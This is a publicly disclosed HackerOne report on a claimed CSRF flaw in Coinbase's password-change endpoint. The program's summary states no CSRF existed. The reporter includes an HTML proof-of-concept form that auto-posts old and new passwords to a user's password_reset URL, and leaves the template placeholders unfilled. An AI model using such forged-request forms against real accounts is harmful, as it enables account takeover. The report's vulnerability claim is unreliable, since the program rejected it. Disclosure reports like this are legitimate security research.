HexBrain

Coinbase · Report #230436

CSRF bug on password change

N/Astatus
28 Aug 2017disclosed

Summary

There was not CSRF, the endpoint was correctly responding to the invalid request.

How it was found

NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, researchers are more likely to earn a larger bounty by explaining how a vulnerability can be exploited to cause harm to Coinbase or its users.

Summary: Attacker can change password without user permission

**Description:**HI I found csrf bug on password changing session. It can be dangerous for user. Cause attacker can change password with out user permission. CSRF POC is below :-

<html> <body> <form action="https://www.coinbase.com/users/59215b8f0ec7c37a4ca27b00/password_reset" method="POST"> <input type="hidden" name="utf8" value="â&#156;&#147;" /> <input type="hidden" name="&#95;method" value="patch" /> <input type="hidden" name="old&#95;password" value="dadaboji1" /> <input type="hidden" name="password" value="dadaboji" /> <input type="hidden" name="password&#95;confirmation" value="dadaboji" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Browsers Verified In:

  • [firefox 45.9.0]
  • [add each browser and version number tested in]

Steps To Reproduce:

(Add details for how we can reproduce the issue)

  1. [Intercept with burpsuite. After change password click]
  2. [Make CSRF POC with burpsuite]
  3. [change data]

Supporting Material/References:

  • List any additional material (e.g. screenshots, logs, etc.)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original